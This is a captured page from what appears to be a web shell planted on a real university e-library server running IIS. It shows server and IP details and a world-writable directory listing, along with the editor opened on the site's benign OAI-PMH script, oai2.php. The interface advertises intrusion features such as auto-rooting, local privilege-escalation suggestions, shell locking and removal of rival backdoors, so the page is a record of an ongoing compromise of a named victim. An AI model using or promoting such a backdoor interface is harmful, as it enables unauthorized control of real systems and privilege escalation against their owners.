Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.119.122.86
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
elibrary /
Delete
Unzip
Name
Size
Permission
Date
Action
.git
[ DIR ]
drwxrwxrwx
2025-04-27 13:20
.well-known
[ DIR ]
drwxrwxrwx
2024-05-22 23:45
admin
[ DIR ]
drwxrwxrwx
2024-12-23 03:26
api
[ DIR ]
drwxrwxrwx
2024-09-15 20:33
cgi-bin
[ DIR ]
drwxrwxrwx
2022-06-08 13:21
config
[ DIR ]
drwxrwxrwx
2022-06-08 13:52
css
[ DIR ]
drwxrwxrwx
2025-04-27 13:20
files
[ DIR ]
drwxrwxrwx
2025-04-27 13:20
help
[ DIR ]
drwxrwxrwx
2025-04-26 00:39
images
[ DIR ]
drwxrwxrwx
2025-03-28 05:21
indexing_engine
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
installxx
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
js
[ DIR ]
drwxrwxrwx
2024-12-04 04:53
lib
[ DIR ]
drwxrwxrwx
2024-08-15 00:53
m
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
news
[ DIR ]
dr-xr-xr-x
2025-04-27 15:03
repository
[ DIR ]
drwxrwxrwx
2024-12-04 07:46
sample
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
simbio2
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
template
[ DIR ]
drwxrwxrwx
2024-08-22 20:25
upgrade
[ DIR ]
drwxrwxrwx
2024-08-14 22:40
.DS_Store
6
KB
-rw-rw-rw-
2022-06-08 13:14
.htaccess
384
B
-rw-rw-rw-
2022-11-16 00:46
LICENSE
34.3
KB
-rw-rw-rw-
2020-02-14 07:54
README.md
463
B
-rw-rw-rw-
2020-02-14 07:54
Robots.txt
167
B
-rw-rw-rw-
2025-01-19 14:23
_htaccess
560
B
-rw-rw-rw-
2022-06-08 14:19
changes.txt
19.28
KB
-rw-rw-rw-
2020-02-14 07:54
chatserver.php
3.06
KB
-rw-rw-rw-
2020-02-14 07:54
composer.json
249
B
-rw-rw-rw-
2020-02-14 07:54
composer.lock
9
KB
-rw-rw-rw-
2020-02-14 07:54
error_log
5.24
KB
-rw-rw-rw-
2022-04-06 21:28
google010d88af099b8e57.html
53
B
-rw-rw-rw-
2025-04-27 14:49
index.php
4.09
KB
-rw-rw-rw-
2020-02-14 07:54
log-bs505.png
29.61
KB
-rw-rw-rw-
2025-04-27 15:21
mainten.html
840
B
-rw-rw-rw-
2022-11-16 01:03
oai.php
4.61
KB
-rw-rw-rw-
2020-02-14 07:54
oai2.php
4.94
KB
-rw-rw-rw-
2020-02-14 07:54
sitemap.xml
509
B
-rw-rw-rw-
2025-01-19 14:23
supports.txt
608
B
-rw-rw-rw-
2020-02-14 07:54
sysconfig.inc.php
27.83
KB
-rw-rw-rw-
2022-11-16 01:44
ucnode.inc.php
1.45
KB
-rw-rw-rw-
2020-02-14 07:54
web.config
586
B
-rw-rw-rw-
2022-11-16 08:27
webicon.ico
147.81
KB
-rw-rw-rw-
2022-06-06 22:54
webicon1.ico
1.12
KB
-rw-rw-rw-
2020-02-14 07:54
webicon2.ico
1.12
KB
-rw-rw-rw-
2020-04-03 22:20
Save
Rename
<?php /** * \file oai2.php * \brief * OAI Data Provider command processor * * OAI Data Provider is not designed for human to retrieve data. * * This is an implementation of OAI Data Provider version 2.0. * @see http://www.openarchives.org/OAI/2.0/openarchivesprotocol.htm * * It needs other files: * - oaidp-config.php : Configuration of provider * - oaidp-util.php : Utility functions * - xml_creater.php : XML generating functions * - Actions: * - identify.php : About the provider * - listmetadataformats.php : List supported metadata formats * - listrecords.php : List identifiers and records * - listsets.php : List sets * - getrecord.php : Get a record * - Your own implementation for providing metadata records. * * It also initiates: * - PDO datbase connection object $db. * - ANDS_XML XML document handler $outputObj. * * \todo <b>Remember:</b> to define your own classess for generating metadata records. * In common cases, you have to implement your own code to act fully and correctly. * For generic usage, you can try the ANDS_Response_XML defined in xml_creater.php. */ // Report all errors except E_NOTICE // This is the default value set in php.ini // If anything else, try them. // error_reporting (E_ALL ^ E_NOTICE); /** * An array for collecting erros which can be reported later. It will be checked before a new action is taken. */ $errors = array(); ini_set('session.use_cookies', '0'); // key to authenticate define('INDEX_AUTH', '1'); // required file require 'sysconfig.inc.php'; define('OAI_LIB', realpath(dirname(__FILE__)).DIRECTORY_SEPARATOR. 'lib'.DIRECTORY_SEPARATOR. 'oaipmh'.DIRECTORY_SEPARATOR); require_once(OAI_LIB.'oaidp-config.php'); require_once(OAI_LIB.'oaidp-util.php'); require_once(OAI_LIB.'ands_tpa.php'); /** * Supported attributes associate to verbs. */ $attribs = array ('from', 'identifier', 'metadataPrefix', 'set', 'resumptionToken', 'until'); if (in_array($_SERVER['REQUEST_METHOD'],array('GET','POST'))) { $args = $_REQUEST; } else { $errors[] = oai_error('badRequestMethod', $_SERVER['REQUEST_METHOD']); } // Always using htmlentities() function to encodes the HTML entities submitted by others. // No one can be trusted. foreach ($args as $key => $val) { $checking = urlencode(stripslashes($val)); if (!is_valid_attrb($checking)) { $errors[] = oai_error('badArgument', $checking); } else {$args[$key] = $checking; } } if (!empty($errors)) { oai_exit(); } foreach($attribs as $val) { unset($$val); } // Create a PDO object try { //$db = new PDO($DSN); $db = new PDO($DSN, $DB_USER, $DB_PASSWD); } catch (PDOException $e) { exit('Connection failed: ' . $e->getMessage()); } // For generic usage or just trying: // require_once('xml_creater.php'); // In common cases, you have to implement your own code to act fully and correctly. // Default, there is no compression supported $compress = FALSE; if (isset($compression) && is_array($compression)) { if (in_array('gzip', $compression) && ini_get('output_buffering')) { $compress = TRUE; } } if (SHOW_QUERY_ERROR) { echo "Args:\n"; print_r($args); } if (isset($args['verb'])) { switch ($args['verb']) { case 'Identify': // we never use compression in Identify $compress = FALSE; if(count($args)>1) { foreach($args as $key => $val) { if(strcmp($key,"verb")!=0) { $errors[] = oai_error('badArgument', $key, $val); } } } if (empty($errors)) include OAI_LIB.'identify.php'; break; case 'ListMetadataFormats': $checkList = array("ops"=>array("identifier")); checkArgs($args, $checkList); if (empty($errors)) include OAI_LIB.'listmetadataformats.php'; break; case 'ListSets': if(isset($args['resumptionToken']) && count($args) > 2) { $errors[] = oai_error('exclusiveArgument'); } $checkList = array("ops"=>array("resumptionToken")); checkArgs($args, $checkList); if (empty($errors)) include OAI_LIB.'listsets.php'; break; case 'GetRecord': $checkList = array("required"=>array("metadataPrefix","identifier")); checkArgs($args, $checkList); if (empty($errors)) include OAI_LIB.'getrecord.php'; break; case 'ListIdentifiers': case 'ListRecords': if(isset($args['resumptionToken'])) { if (count($args) > 2) { $errors[] = oai_error('exclusiveArgument'); } $checkList = array("ops"=>array("resumptionToken")); } else { $checkList = array("required"=>array("metadataPrefix"),"ops"=>array("from","until","set")); } checkArgs($args, $checkList); if (empty($errors)) include OAI_LIB.'listrecords.php'; break; default: // we never use compression with errors $compress = FALSE; $errors[] = oai_error('badVerb', $args['verb']); } /*switch */ } else { $errors[] = oai_error('noVerb'); } if (!empty($errors)) { oai_exit(); } if ($compress) { ob_start('ob_gzhandler'); } header(CONTENT_TYPE); if(isset($outputObj)) { $outputObj->display(); } else { exit("There is a bug in codes"); } if ($compress) { ob_end_flush(); } ?>